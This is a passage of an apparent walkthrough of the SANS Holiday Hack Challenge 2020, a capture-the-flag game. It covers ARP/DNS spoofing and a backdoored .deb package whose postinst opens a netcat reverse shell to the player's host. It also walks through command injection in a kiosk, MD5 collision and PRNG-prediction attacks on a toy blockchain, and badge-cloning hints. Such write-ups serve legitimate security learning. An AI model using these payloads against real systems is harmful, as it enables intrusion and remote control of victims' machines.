to 21. We take most of the information from the DNS request:\n19 20 21 22 23 24 25 26 dns = DNS( id = packet[DNS].id, \\ # the DNS query ID qd = packet[DNS].qd, \\ # the query domain aa = 1, \\ # authoritative answer qr = 1, \\ # 0 for a request and 1 for a response # the domain name that resolves on our IP an = DNSRR(rrname=packet[DNS].qd.qname, rdata=ipaddr) ) We can launch, in order, tcpdump -nni eth0, ./dns_resp.py \u0026amp;, that will wait until a DNS query is seen, and ./arp_resp.py. What we see is that after a successful ARP and DNS spoofing, an HTTP call (in green) is done on our host by the attacker:\nDNS spoofing Let\u0026rsquo;s start an HTTP listener to see the attacker\u0026rsquo;s request. This can be quickly done with Python: python3 -m http.server 80:\nHTTP listener H4. The malware on the host does an HTTP request for a .deb package. Maybe we can get command line access by sending it a command in a customized .deb file We have some .deb files available in /home/guest/debs. We can follow the given article to add a Netcat reverse shell to the .deb file.\nFirst, we prepare our working environment, copy the Netcat package that we will use for the reverse shell and rename it as the package that the attacker is fetching:\n$ mkdir /tmp/packing\n$ cd /tmp/packing\n$ cp /home/guest/debs/netcat-traditional_1.10-41.1ubuntu1_amd64.deb ./suriv_amd64.deb We extract the package in the work directory:\n$ dpkg -x suriv_amd64.deb work We retrieve the control file from the package:\n$ mkdir work/DEBIAN\n$ ar -x suriv_amd64.deb\n$ tar xf control.tar.xz ./control We create the postinst script that will trigger the Netcat reverse shell to our host on port 1234:\n$ echo -e \u0026lsquo;#!/bin/bash\\nnc -e /bin/sh 10.6.0.2 1234\u0026rsquo; \u0026gt; postinst Then copy those files in the work/DEBIAN folder and build the new backdoored package that we rename with the right name:\n$ mv control work/DEBIAN/\n$ mv postinst work/DEBIAN/\n$ chmod +x work/DEBIAN/postinst\n$ dpkg-deb \u0026ndash;build /tmp/packing/work/\n$ mv work.deb suriv_amd64.deb Now that the package is ready to be delivered to the attacker, we create the necessary folder tree in /tmp and copy our package there. Then we spawn our HTTP listener from the /tmp folder:\n$ mkdir -p /tmp/pub/jfrost/backdoor\n$ mv suriv_amd64.deb /tmp/pub/jfrost/backdoor\n$ cd /tmp\n$ python3 -m http.server 80 From another terminal pane, we spawn a Netcat listener with nc -lnvp 1234 and yet from the third terminal pane, we launch our two spoofing scripts as we did before. After a few second, we have a hit:\nreverse shell We are on the attacker host with his jfrost account! We find the needed file NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt in the root folder. You can read it here.\nTanta Kringle We unlock the 6th narrative:\nnarrative 6 of 7 10 - Defeat Fingerprint Sensor Objective 10 description First of all, we need to activate the Santa\u0026rsquo;s Office floor. This is now possible as we found the last bulb and items on the Roof. Here is one possible solution to hit the three sockets with the right color:\nSantavator completed We have now access to Santa\u0026rsquo;s Office…well\u0026hellip;almost, as it is protected with a fingerprint:\nSantavator fingerprint Our avatar cannot access it…but we can as Santa. However, the goal is to access Santa\u0026rsquo;s Office without impersonating Santa. How to bypass that?\nWe can have a look at the Javascript code of the Santavator in app.js. By using the browser\u0026rsquo;s Developer Tools (see this article). We see that in order to access this floor we need 1) to power the button (what we just did) and 2) get the besanta token that we usually get when we impersonate Santa:\napp.js snippet In the console, we can check the tokens we currently have and we are indeed missing the besanta one:\nconsole We simply add it to the list by using the JS console and the second check is passed :)\nfingerprint bypass We can now reach Santa\u0026rsquo;s Office:\nSanta\u0026#39;s office Tinsel is not happy though:\nTinsel Upatree:\nGOSHGOLLY How did you get in here??\nI mean, hey, I\u0026rsquo;m impressed you made it in here, but you\u0026rsquo;ve got to leave! Breaking into Santa\u0026rsquo;s Office might mean immediate membership on the wrong side of the Naughty/Nice List.\n 11a - Naughty/Nice List with Blockchain Investigation Part 1 Objective 11a description This challenge can only be done as Santa.\nObjective 11a location Tinsel Upatree is waiting for us with a document on our desk:\nTinsel Upatree:\nSanta, I don\u0026rsquo;t know if you\u0026rsquo;ve heard, but something is very, very wrong…\nWe tabulated the latest score of the Naughty/Nice Blockchain. Jack Frost is the nicest being in the world! Jack Frost!?! As you know, we only really start checking the Naughty/Nice totals as we get closer to the holidays. Out of nowhere, Jack Frost has this crazy score… positive 4,294,935,958 nice points! No one has EVER gotten a score that high! No one knows how it happened. Most of us recall Jack having a NEGATIVE score only a few days ago…\nWorse still, his huge positive score seems to have happened way back in March. Our first thought was that he somehow changed the blockchain - but, as you know, that isn\u0026rsquo;t possible.\nWe ran a validation of the blockchain and it all checks out. Even the smallest change to any block should make it invalid. Blockchains are huge, so we cut a one minute chunk from when Jack\u0026rsquo;s big score registered back in March. You can get a slice of the Naughty/Nice blockchain on your desk.\nYou can get some tools to help you here. Tangle Coalbox, in the Speaker UNPreparedness Room. has been talking with attendees about the issue.\n The tools that we get will help in interacting with the blockchain.dat (the actual _Naughty/Nice _blockchain) we retrieve from Santa\u0026rsquo;s desk. We can as well have a look at this KringleCon 3 talk.\nThe naughty_nice.py Python script explains how the blockchain is constructed and how we can interact with it to read or verify blocks.\nWe can get some basic information on the blockchain as well as the details of the first block with the following code:\ngetting blockchain basic knowledge The output is:\nblockchain stats and block example We see that we have a partial blockchain that starts at index 128449 and ends at index 129996. A total of 1548 blocks. If we verify the blockchain as-is, it will fail as the genesis block (the first block) does not exist:\nblockchain failed verification We have to set the initial previous_hash to the one of the first block we have at our disposal and that we saw earlier:\nblockchain passed verification We can as well dump the embedded documents with the Block.dump_doc(doc_no) method. For the first block it would be:\n1 bc.blocks[0].dump_doc(1) We get the embedded PDF that looks like this:\n128449.pdf Elf-on-the-shelf is the reporter and the number that follows is its RID in decimal value. We get to know that Banjamin has the PID 0803508ada0a5ebf.\nNow that we have a fairly good understanding of the Naughty/Nice Blockchain structure, let\u0026rsquo;s answer the objective question.\nThe nonces are 64-bit values and are generated with the Python random function. What we saw in the Snowball Game, is that random uses the Marsene-Twister (MT19937) algorithm for the PRNG. The standard implementation generates 32-bit random numbers. So how is the Python implementation used to generate 64-bit random numbers?\nWe can have a look at the random module from the CPython Github repository. Its underlying implementation is done in C and can be found here. From the function _random_Random_getrandbits_impl we understand how random numbers bigger than 32-bit are generated:\nhttps://github.com/python/cpython/blob/master/Modules/_randommodule.c So for 64-bit numbers, it will generate two 32-bit numbers and concatenate them! This works for any bit size, if the size is not a multiple of 32, it just drops the least significant bits of the last random number to match the right size. Let\u0026rsquo;s try it in an interpreter:\n32-bit (left) vs 64-bit (right) random numbers This a good news as we can still use the marsene-twister-predictor to predict the next nonces. We just need to extract the nonces from the blockchain, split each of them into two 32-bit numbers and feed them to the predictor. The following code extracts the nonces into nonces.txt:\nextract nonces into a file Now we need to feed the last 624 numbers of the list to mt19937predict so that we can retrieve the future ones. As we have to find the nonce of the block 130000 (which is 4 blocks after the last one), we need to get the next 8 32-bit random numbers and concatenate the last 2 in their hexadecimal form:\n$ cat nonces.txt | tail -n 624 | mt19937predict | head -n 8\n1710059470 # used for block 129997\n3074734778\n15809261 # used for block 129998\n25586365\n3180594148 # used for block 129999\n2219797255 4079973021 # used for block 130000\n1460036376 We can get the final answer with Python:\n1 2 \u0026gt;\u0026gt;\u0026gt; hex(1460036376)[2:]+hex(4079973021)[2:] \u0026#39;57066318f32f729d\u0026#39; 57066318f32f729d We can investigate the blockchain a little more and check if there is some block content that differs from others:\nare there blocks that contain more than one document? check what blocks have more than 1 document We have only one result, the block with ID 129459.\nare there blocks that contain a document type other than PDF? check what blocks have doc type different than PDF Again, we have only one result, the block with ID 129459.\nso what\u0026rsquo;s in this block 129459? weird block This block is definitely shady. This elf has the highest possible score, there is some binary data that seems meaningless and the PDF size is the biggest of all the blocks. If we dump the PDF data, we get Jack Frost\u0026rsquo;s report:\nJack Frost report This is probably the block that Tinsel Upatree was mentioning. The block that has been tampered with by Jack Frost to be the nicest person in the world!!\nOpening the PDF with Adobe Reader may not work as the file may be flagged as corrupted. It can be read, however, with browsers like Chrome or Firefox. 11b - Naughty/Nice List with Blockchain Investigation Part 2 Objective 11b description Let\u0026rsquo;s first confirm that Jack\u0026rsquo;s altered block is the shady block we found out in the previous Objective. The following code will uncover it based on the SHA256 that we are given:\nfind the altered block The only output we get is, again, the block 129459!\nSo we know that Jack Frost has been able to alter the block and keep the same MD5 hash (collision) by changing only 4 bytes! The very first one seems obvious and is the sign that indicates if the elf is naughty or nice. We can change it from 1 to 0. This makes Jack the naughtiest elf on Earth!\nWe know from the hints gathered in the Snowball Game that the technique that was used by Jack to generate the collision was UniColl. The technique is described in this Hash Collision Exploitation slide deck (from slide 101 onward) and we can find some additional information here.\nWithout going into the cryptographic details, the UniColl collision technique characteristics are the following:\n we can choose the prefix and it can be of any size blocks are 64 bytes the prefix is part of the collision blocks given 2 binary blobs with the same MD5 hash, only 2 bytes are different. The first byte difference is +1 and the second byte difference is -1. the first byte is the 10th byte of the last block containing the prefix the second byte is the 10th byte of the next block An example of the slide deck shows it more clearly:\nhttps://speakerdeck.com/ange/colltris?slide=113 Knowing that and by looking at the block data, we start to understand what changes have been done:\nhttps://speakerdeck.com/ange/colltris?slide=113 As we can see, the weird binary blob is part of the collision blocks and the second byte we have to change is probably in there. Let\u0026rsquo;s have a look at the collision blocks binary data. We can call the Block.block_data() method and print the first 192 bytes (the size of 3 collision blocks). After some data arrangement, we get:\ncollision blocks The 10th byte of the last prefix block corresponds to our naughty/nice flag. So if we change it to 0, we will need to increment the 10th byte of the next block which is 0xd6. Let\u0026rsquo;s compute the hash after those 2 changes and check that the MD5 has not changed:\nverify MD5 hashes before and after changes We got the first 2 bytes!\nJack Frost has as well tampered with the PDF file to show a fake report instead of the original one made by Shinny Upatree. He must have as well used some trick to get an MD5 collision. Let\u0026rsquo;s first have a look at the PDF file in a hex editor. We can use HexEd.it:\nhttps://hexed.it/ We see a first Catalog object (with a hidden message for Santa) that references the object 2 that is a Pages dictionary which indicates what are the pages of the document. The Pagesdictionary (in blue) only has 1 page (Count 1) and the page information is in the Kidobject 23.\nWe see as well another page tree that is not referenced (in green). It has as well only one page referred in Kid object 15. If we change the Catalog reference to object 3 and save this new document, we access what seems the original report on Jack Frost which says the exact opposite of the previous one:\nJack Frost original report This is the 3rd byte to change then! This looks again like Jack used a UniColl collision. The method to create such PDF is described here and at the end of the slide deck. The structure of such a PDF looks like this:\nhttps://github.com/corkami/collisions#pdf As per UniColl rules, if we increase the 10th byte of the prefix, we must decrease the 10th byte of the next block (64 bytes after). The Pages reference of our PDF, however, is not aligned to the 10th byte. This means that the prefix takes some additional bytes before the PDF data into account, so do not expect to have matching MD5 hashes when doing those changes with the PDF alone:\ncollision blocks (partial) Let\u0026rsquo;s do those changes and verify that the block\u0026rsquo;s MD5 does not change. Knowing that the second byte is at index 127 of the PDF, we can do the following:\nverify MD5 hashes before and after PDF changes Seems like we have recovered the original block! We compute the SHA-256 hash as follows:\ncompute block SHA-256 hash fff054f33c2134e0230efb29dad515064ac97aa8c68d33c58c01213a0d408afb Jack initially added the new block with the correct data about him. However, the block was ready to be altered anytime. The initial PDF was already merged with the evil one and the collision blocks were already part of the documents. He then just needed to wait the right moment to change those 4 bytes without being spotted!\nTinsel does not seem more enthusiast than normal after this big achievement:\nTinsel Upatree:\nThe mystery is solved! I can\u0026rsquo;t wait to see which attendee solved it! Epilogue Time to go to Santa\u0026rsquo;s Balcony where Eve Snowshoes is waiting for Santa:\nEve Snowshoes:\nI\u0026rsquo;m so glad we got the Naughty-Nice Blockchain set right again! Gosh, it would be great to see the SANS Holiday Hack player who helped you fix it!\nCan you go find the person who did that and come back here?\n Let\u0026rsquo;s get back our avatar and come back to Eve. We have to trick again the Santavator as we did in Objective 10. Once in Santa\u0026rsquo;s Office, Tinsel says:\nTinsel Upatree:\nYou - you did it! You solved the mystery! Quickly, go out to the balcony to be recognized! This time the door to the balcony is wide open. As soon as we enter it we unlock the last narrative:\nnarrative 7 of 7 Santa\u0026#39;s balcony - THE END Santa:\nThank you for foiling Jack\u0026rsquo;s foul plot!\nHe sent that magical portrait so he could become me and destroy the holidays!\nDue to your incredible work, you have set everything right and saved the holiday season! Congratulations on a job well done!\nHo Ho Ho!\n And poor Jack to say:\nJack Frost:\nMy plan was NEARLY perfect… but I never expected someone with your skills to come around and ruin my plan for ruining the holidays!\nAnd now, they\u0026rsquo;re gonna put me in jail for my deeds.\n Finally, Eve gives us access to some hidden swag!\nEve Snowshoes:\nWhat a fantabulous job! Congratulations!\nYou MUST let us know how you did it! Feel free to show off your skills with some swag - only for our victors! HHC2020 Winner swag CranPi Terminals 1 - Kringle Kiosk [ELF] Shiny Upatree [LOCATION] Castle Approach CranPi Terminal 1 location Shinny Upatree:\nHiya hiya - I\u0026rsquo;m Shinny Upatree! Check out this cool KringleCon kiosk!\nYou can get a map of the castle, learn about where the elves are, and get your own badge printed right on-screen! Be careful with that last one though. I heard someone say it\u0026rsquo;s \u0026ldquo;ingestible.\u0026rdquo; Or something…\nDo you think you could check and see if there is an issue?\n He suggests us a document on Command Injection:\n Command Injection - There\u0026rsquo;s probably some kind of command injection vulnerability in the menu terminal. \nAfter a welcome message we access the kiosk app:\nkiosk menu The first menu shows a map of Santa\u0026rsquo;s castle:\ncastle\u0026#39;s map The second menu displays the KringleCon III and Holiday Hack Challenge Code of Conduct and Terms of Use. The third menu shows the location of each elf:\nelves\u0026#39; location The last menu is the only one that requires user input and seems the best place to try an injection:\nprint badge name If our input is concatenated to a system command without being sanitized first, there are chances that we can inject additional commands. We can, for instance, try to add ;ls to our name:\ncommand injection It worked and it works as well with other special characters like \u0026amp;\u0026amp; or |. We can read the welcome.sh script with ;cat welcome.sh. We discover the logic of the script and where the vulnerability lies:\nwelcome.sh snippet 1 To fix the Command Injection vulnerability, we can enclose the $name variable in double-quotes:\nbash -c \u0026lsquo;/usr/games/cowsay -f /opt/reindeer.cow \u0026ldquo;$name\u0026rdquo;\u0026rsquo; We discover as well a hidden menu plant:\nwelcome.sh snippet 2 where spot our old friend Jason the Plant :)\nJason the Plant We see that most of the outputs come from files that are stored in /opt. Let\u0026rsquo;s see if there are other hidden gems with ;ls -la /opt:\ndirectory listing /opt There are 2 additional files: mailbox.txt and success.txt. Both show ASCII art. Nothing else seems interesting, we can finally escape the kiosk app by calling bash ;/bin/bash:\nkiosk escape Back to Shinny who gives us no less than 5 hints to complete Objective 2:\nShinny Upatree:\nGolly - wow! You sure found the flaw for us!\nSay, we\u0026rsquo;ve been having an issue with an Amazon S3 bucket. Do you think you could help find Santa\u0026rsquo;s package file?\nJeepers, it seems there\u0026rsquo;s always a leaky bucket in the news. You\u0026rsquo;d think we could find our own files!\nDigininja has a great guide, if you\u0026rsquo;re new to S3 searching. He even released a tool for the task - what a guy! The package wrapper Santa used is reversible, but it may take you some trying.\nGood luck, and thanks for pitching in!\n Find Santa\u0026rsquo;s Package - Find Santa\u0026rsquo;s package file from the cloud storage provider. Check Josh Wright\u0026rsquo;s talk for more tips! Bucket_finder.rb - He even wrote a tool to search for unprotected buckets! Santa\u0026rsquo;s Wrapper3000 - Santa\u0026rsquo;s Wrapper3000 is pretty buggy. It uses several compression tools, binary to ASCII conversion, and other tools to wrap packages. Finding S3 Buckets - Robin Wood wrote up a guide about finding these open S3 buckets. Leaky AWS S3 Buckets - It seems like there\u0026rsquo;s a new story every week about data exposed through unprotected Amazon S3 buckets. 2 - Linux Primer [ELF] Sugarplum Mary [LOCATION] Courtyard CranPi Terminal 2 location Sugarplum Mary:\nSugarplum Mary? That\u0026rsquo;s me!\nI was just playing with this here terminal and learning some Linux! It\u0026rsquo;s a great intro to the Bash terminal. If you get stuck at any point, type hintme to get a nudge!\nCan you make it to the end?\n We get the following message when we launch the terminal:\nThe North Pole 🍭 Lollipop Maker: All the lollipops on this system have been stolen by munchkins. Capture munchkins by following instructions here and 🍭's will appear in the green bar below. Run the command \u0026ldquo;hintme\u0026rdquo; to receive a hint. This challenge will be a list of Linux commands to run in the terminal. Here are the questions and answers:\nQ1. Perform a directory listing of your home directory to find a munchkin and retrieve a lollipop! $ ls /home/elf # or ls ~\nHELP munchkin_19315479765589239 workshop Q2. Now find the munchkin inside the munchkin. $ cat munchkin_19315479765589239\nmunchkin_24187022596776786 Q3. Great, now remove the munchkin in your home directory. $ rm munchkin_19315479765589239 Q4. Print the present working directory using a command. $ pwd\n/home/elf Q5. Good job but it looks like another munchkin hid itself in you home directory. Find the hidden munchkin! $ ls -la /home/elf # or ls -la ~\ntotal 56\ndrwxr-xr-x 1 elf elf 4096 Dec 12 08:43 .\ndrwxr-xr-x 1 root root 4096 Dec 10 18:14 ..\n-rw-r\u0026ndash;r\u0026ndash; 1 elf elf 31 Dec 10 18:18 .bash_history\n-rw-r\u0026ndash;r\u0026ndash; 1 elf elf 220 Apr 4 2018 .bash_logout\n-rw-r\u0026ndash;r\u0026ndash; 1 elf elf 3105 Dec 5 00:00 .bashrc\n-rw-r\u0026ndash;r\u0026ndash; 1 elf elf 0 Dec 12 08:43 .munchkin_5074624024543078\n-rw-r\u0026ndash;r\u0026ndash; 1 elf elf 807 Apr 4 2018 .profile\n-rw-r\u0026ndash;r\u0026ndash; 1 elf elf 168 Dec 5 00:00 HELP\ndrwxr-xr-x 1 elf elf 20480 Dec 10 18:19 workshop Q6. Excellent, now find the munchkin in your command history. $ history\n1 echo munchkin_9394554126440791 2 ls -la 3 cat HELP 4 ls 5 cat munchkin_19315479765589239 6 rm munchkin_19315479765589239 7 pwd 8 ls -la 9 history Q7. Find the munchkin in your environment variables. $ env\n[\u0026hellip;]\nz_MUNCHKIN=munchkin_20249649541603754\n[\u0026hellip;] Q8. Next, head into the workshop. $ cd workshop Q9. A munchkin is hiding in one of the workshop toolboxes. Use grep while ignoring case to find which toolbox the munchkin is in. $ grep -i munchkin *.txt # the folder contains 500 text files\ntoolbox_191.txt:mUnChKin.4056180441832623 Q10. A munchkin is blocking the lollipop_engine from starting. Run the lollipop_engine binary to retrieve this munchkin. $ chmod +x lollipop_engine\n$ ./lollipop_engine\nmunchkin.898906189498077 Q11. Munchkins have blown the fuses in /home/elf/workshop/electrical. cd into electrical and rename blown_fuse0 to fuse0. $ cd electrical\n$ mv blown_fuse0 fuse0 Q12. Now, make a symbolic link (symlink) named fuse1 that points to fuse0 $ ln -s fuse0 fuse1 Q13. Make a copy of fuse1 named fuse2. $ cp fuse1 fuse2 Q14. We need to make sure munchkins don\u0026rsquo;t come back. Add the characters \u0026ldquo;MUNCHKIN_REPELLENT\u0026rdquo; into the file fuse2. $ echo \u0026ldquo;MUNCHKIN_REPELLENT\u0026rdquo; \u0026gt; fuse2 Q15. Find the munchkin somewhere in /opt/munchkin_den. $ find /opt/munchkin_den/ -name munchkin* # searching for filename\n$ grep -iR munchkin /opt/munchkin_den/ # searching for file content\n$ find /opt/munchkin_den -iname *munchkin* # both failed, searching for case insensitive filename\n/opt/munchkin_den\n/opt/munchkin_den/apps/showcase/src/main/resources/mUnChKin.6253159819943018 Q16. Find the file somewhere in /opt/munchkin_den that is owned by the user munchkin. $ find /opt/munchkin_den/ -type f -user munchkin\n/opt/munchkin_den/apps/showcase/src/main/resources/template/ajaxErrorContainers/niKhCnUm_9528909612014411 Q17. Find the file created by munchkins that is greater than 108 kilobytes and less than 110 kilobytes located somewhere in /opt/munchkin_den. $ find /opt/munchkin_den/ -type f -size +108k -size -110k\n/opt/munchkin_den/plugins/portlet-mocks/src/test/java/org/apache/m_u_n_c_h_k_i_n_2579728047101724 Q18. List running processes to find another munchkin. $ ps -aux\nUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\ninit 1 0.0 0.0 65320 21336 pts/0 Ss+ 08:34 0:00 /usr/bin/python3 /usr/local/bin/tmuxp load ./mysession.yaml\nelf 63312 0.6 0.0 84316 25840 pts/2 S+ 09:14 0:00 /usr/bin/python3 /14516_munchkin\nelf 64339 0.0 0.0 36180 3336 pts/3 R+ 09:15 0:00 ps -aux Q19. The 14516_munchkin process is listening on a tcp port. Use a command to have the only listening port display to the screen. $ netstat -l\nActive Internet connections (only servers)\nProto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:54321 0.0.0.0:* LISTEN Q20. The service listening on port 54321 is an HTTP server. Interact with this server to retrieve the last munchkin. $ curl localhost:54321\nmunchkin.73180338045875 Q21. Your final task is to stop the 14516_munchkin process to collect the remaining lollipops. $ kill 63312 # PID of the process is 63312, seen in Q18 Once all the tasks are completed, Sugarplum gives us a few hints to complete Objective 3:\nSugarplum Mary:\nYou did it - great!\nMaybe you can help me configure my postfix mail server on Gentoo! Just kidding!\nHey, wouldja' mind helping me get into my point-of-sale terminal? It\u0026rsquo;s down, and we kinda' need it running. Problem is: it is asking for a password. I never set one! Can you help me figure out what it is so I can get set up?\nShinny says this might be an Electron application. I hear there\u0026rsquo;s a way to extract an ASAR file from the binary, but I haven\u0026rsquo;t looked into it yet.\n Electron Applications - It\u0026rsquo;s possible to extract the source code from an Electron app. Electron ASAR Extraction - There are tools and guides explaining how to extract ASAR from Electron apps. 3 - Unescape Tmux [ELF] Pepper Minstix [LOCATION] Castle Approach CranPi Terminal 3 location Pepper Minstix:\nHowdy - Pepper Minstix here!\nI\u0026rsquo;ve been playing with tmux lately, and golly it\u0026rsquo;s useful. Problem is: I somehow became detached from my session. Do you think you could get me back to where I was, admiring a beautiful bird?\nIf you find it handy, there\u0026rsquo;s a tmux cheat sheet you can use as a reference.\nI hope you can help!\n Tmux Cheat Sheet - There\u0026rsquo;s a handy tmux reference available at https://tmuxcheatsheet.com/! The terminal welcomes us with the following message:\nCan you help me?\nI was playing with my birdie (she\u0026rsquo;s a Green Cheek!) in something called tmux,\nthen I did something and it disappeared!\nCan you help me find her? We were so attached!! We can start by listing the existing sessions with either tmux ls or tmux list-sessions. We get only one existing session:\n0: 1 windows (created Sat Dec 12 19:25:09 2020) [80x24] We can attach to it with tmux attach to get our birdie back:\ntmux session 0 Now that we solved Pepper\u0026rsquo;s issue, he gives us a few hints to complete Objective 4:\nPepper Minstix:\nYou found her! Thanks so much for getting her back!\nHey, maybe I can help YOU out! There\u0026rsquo;s a Santavator that moves visitors from floor to floor, but it\u0026rsquo;s a bit wonky. You\u0026rsquo;ll need a key and other odd objects. Try talking to Sparkle Redberry about the key.\nFor the odd objects, maybe just wander around the castle and see what you find on the floor. Once you have a few, try using them to split, redirect, and color the Super Santavator Sparkle Stream (S4). You need to power the red, yellow, and green receivers with the right color light!\n Santavator Operations - It\u0026rsquo;s really more art than science. The goal is to put the right colored light into the receivers on the left and top of the panel. 4 - Speaker UNprep [ELF] Bushy Evergreen [LOCATION] Talks Lobby CranPi Terminal 4 location Bushy Evergreen:\nOhai! Bushy Evergreen, just trying to get this door open.\nIt\u0026rsquo;s running some Rust code written by Alabaster Snowball. I\u0026rsquo;m pretty sure the password I need for ./door is right in the executable itself. Isn\u0026rsquo;t there a way to view the human-readable strings in a binary file?\n We unlock the following hints:\n Strings in Binary Files - The strings command is common in Linux and available in Windows as part of SysInternals. Letting a Program Decrypt for You - While you have to use the lights program in /home/elf/ to turn the lights on, you can delete parts in /home/elf/lab/. Lookup Table - For polyalphabetic ciphers, if you have control over inputs and visibility of outputs, lookup tables can save the day. Bushy wants us to help him open the door of the Speaker Unpreparedness Room which is password protected. The terminal welcomes us with this message:\nHelp us get into the Speaker Unpreparedness Room!\nThe door is controlled by ./door, but it needs a password! If you can figure out the password, it\u0026rsquo;ll open the door right up!\nOh, and if you have extra time, maybe you can turn on the lights with ./lights activate the vending machines with ./vending-machines? Those are a little trickier, they have configuration files, but it\u0026rsquo;d help us a lot!\n(You can do one now and come back to do the others later if you want)\nWe copied edit-able versions of everything into the ./lab/ folder, in case you want to try EDITING or REMOVING the configuration files to see how the binaries react.\nNote: These don\u0026rsquo;t require low-level reverse engineering, so you can put away IDA and Ghidra (unless you WANT to use them!) Let\u0026rsquo;s start by running the door binary:\n$ ./door\nYou look at the screen. It wants a password. You roll your eyes - the password is probably stored right in the binary. There\u0026rsquo;s gotta be a tool for this\u0026hellip;\nWhat do you enter? \u0026gt;\n Let\u0026rsquo;s look at the binary strings with strings door | more. We get pages and pages of strings but we find the password not far from the intro text:\nstrings door | more The first goal is completed as we enter this password in the door binary. Next, the lights binary:\n$ ./lights\nThe speaker unpreparedness room sure is dark, you\u0026rsquo;re thinking (assuming you\u0026rsquo;ve opened the door; otherwise, you wonder how dark it actually is)\nYou wonder how to turn the lights on? If only you had some kind of hin\u0026mdash;\n\u0026gt;\u0026gt;\u0026gt; CONFIGURATION FILE LOADED, SELECT FIELDS DECRYPTED: /home/elf/lights.conf\n\u0026mdash;t to help figure out the password\u0026hellip; I guess you\u0026rsquo;ll just have to make do!\nThe terminal just blinks: Welcome back, elf-technician\nWhat do you enter? \u0026gt; 1234\nBeep boop invalid password\n If we look at the lights.conf file, we see what seems an encrypted password and a username:\n$ cat lights.conf\npassword: E$ed633d885dcb9b2f3f0118361de4d57752712c27c5316a95d9e5e5b124\nname: elf-technician Let\u0026rsquo;s do some tests in the lab folder where we can play with the config files:\n if we rename the config file, we get the error ERROR: Could not load /home/elf/lab/lights.conf, if we delete the password configuration, we get: Password is missing from the config file!, if we replace the password with a blank one, we get That would have turned on the lights!. Good! However, we cannot edit the production config file :( If we talk again to Bushy, he gives us some other hint:\nBushy Evergreen:\nThat\u0026rsquo;s it! What a great password…\nOh, this might be a good time to mention another lock in the castle. Santa asked me to ask you to evaluate the security of our new HID lock. If ever you find yourself in possession of a Proxmark3, click it in your badge to interact with it. It\u0026rsquo;s a slick device that can read others' badges!\nHey, you want to help me figure out the light switch too? Those come in handy sometimes. The password we need is in the lights.conf file, but it seems to be encrypted.\nThere\u0026rsquo;s another instance of the program and configuration in ~/lab/ you can play around with. What if we set the user name to an encrypted value?\n if we remove the E$ suffix of the password, the application treats it as a clear-text password. Seems like the app decrypts all the configuration that starts with E$. What if we set an encrypted name? As the app displays the username, what if we set the password value as the name?\ndecrypted lights password It got decrypted! We run the production binary and enter the password to light on the Speaker Unpreparedness Room. Then Bushy adds:\nBushy Evergreen:\nWow - that worked? I mean, it worked! Hooray for opportunistic decryption, I guess!\nOh, did I mention that the Proxmark can simulate badges? Cool, huh? There are lots of references online to help. In fact, there\u0026rsquo;s a talk going on right now! So hey, if you want, there\u0026rsquo;s one more challenge. You see, there\u0026rsquo;s a vending machine in there that the speakers like to use sometimes.\nPlay around with ./vending_machines in the lab folder.\nYou know what might be worth trying? Delete or rename the config file and run it. Then you could set the password yourself to AAAAAAAA or BBBBBBBB. If the encryption is simple code book or rotation ciphers, you\u0026rsquo;ll be able to roll back the original password.\n The ./vending_machines binary asks as well for a password. The configuration file looks like this:\n$ cat vending-machines.json\n{\n\u0026ldquo;name\u0026rdquo;: \u0026ldquo;elf-maintenance\u0026rdquo;,\n\u0026ldquo;password\u0026rdquo;: \u0026ldquo;LVEdQPpBwr\u0026rdquo;\n} Let\u0026rsquo;s play again with the lab version. If we delete the configuration file, we are asked to recreate it and to set our own username and password:\nset config file The password is encrypted and stored in the configuration file:\n{\n\u0026ldquo;name\u0026rdquo;: \u0026ldquo;noob\u0026rdquo;,\n\u0026ldquo;password\u0026rdquo;: \u0026ldquo;XiGRehmwXiGRehmwXiGR\u0026rdquo;\n} We see a pattern in the ciphertext. It looks like polyalphabetic encryption with a key long 8 characters (the A is encrypted as X every 8 chars). For BBBBBBBB we get DqTpKv7f. If we do that for all the alphabet in use [A-Za-z], we get the following lookup table:\nlookup table The first letter (row) of the cipher-text L corresponds to the letter C of the plaintext (column). The second letter is V -\u0026gt; a\u0026hellip;and so on. This gives us the password CandyCane1 with which we can activate the vending machine! The last words of Bushy are:\nBushy Evergreen:\nYour lookup table worked - great job! That\u0026rsquo;s one way to defeat a polyalphabetic cipher!\nGood luck navigating the rest of the castle.\nAnd that Proxmark thing? Some people scan other people\u0026rsquo;s badges and try those codes at locked doors. Other people scan one or two and just try to vary room numbers.\nDo whatever works best for you!\n We unlock the hints to complete Objective 5:\n What\u0026rsquo;s a Proxmark? - The Proxmark is a multi-function RFID device, capable of capturing and replaying RFID events. Reading Badges with Proxmark - You can use a Proxmark to capture the facility code and ID value of HID ProxCard badge by running lf hid read when you are close enough to someone with a badge. Impersonating Badges with Proxmark - You can also use a Proxmark to impersonate a badge to unlock a door, if the badge you impersonate has access. lf hid sim -r 2006\u0026hellip;\u0026hellip; Short List of Essential Proxmark Commands - There\u0026rsquo;s a short list of essential Proxmark commands also available. Proxmark Talk - Larry Pesce knows a thing or two about HID attacks. He\u0026rsquo;s the author of a course on wireless hacking! 5 - CAN-Bus Investigation [ELF] Wunorse Openslae [LOCATION] Roof CranPi Terminal 5 location Wunorse Openslae:\nHiya hiya - I\u0026rsquo;m Wunorse Openslae! I\u0026rsquo;ve been playing a bit with CAN bus. Are you a car hacker?\nI\u0026rsquo;d love it if you could take a look at this terminal for me. I\u0026rsquo;m trying to figure out what the unlock code is in this CAN bus log. When it was grabbing this traffic, I locked, unlocked, and locked the doors one more time. It ought to be a simple matter of just filtering out the noise until we get down to those three actions.\nNeed more of a nudge? Check out Chris Elgee\u0026rsquo;s talk on CAN traffic!\n Filtering Text - You can hide lines you don\u0026rsquo;t want to see with commands like cat file.txt | grep -v badstuff Chris Elgee is talking about how CAN traffic works right now! We are asked to filter data in a file dump and find when the UNLOCK command was triggered:\nCranPi Terminal 5 instructions The dump candump.log shows uncomprehensible information:\nmore candump.log By watching Chris Elgee\u0026rsquo;s talk, we understand what a CAN Bus actually is. What we see in the last column of the dump is a CAN message that is composed of a CAN ID (3 chars) which represents a car component or action (i.e lock, brake, accelerate, etc.) followed by a data chunk that can indicate, for instance, if a lock opens/closes, or the value of the acceleration/deceleration, etc. The ID and the data are separated by the delimiter #.\nAs per the instructions, we know that the door lock CAN ID must be present 3 times only, 2 LOCK and 1 UNLOCK message. Let\u0026rsquo;s first count the number of unique CAN ID:\n$ cat candump.log | awk 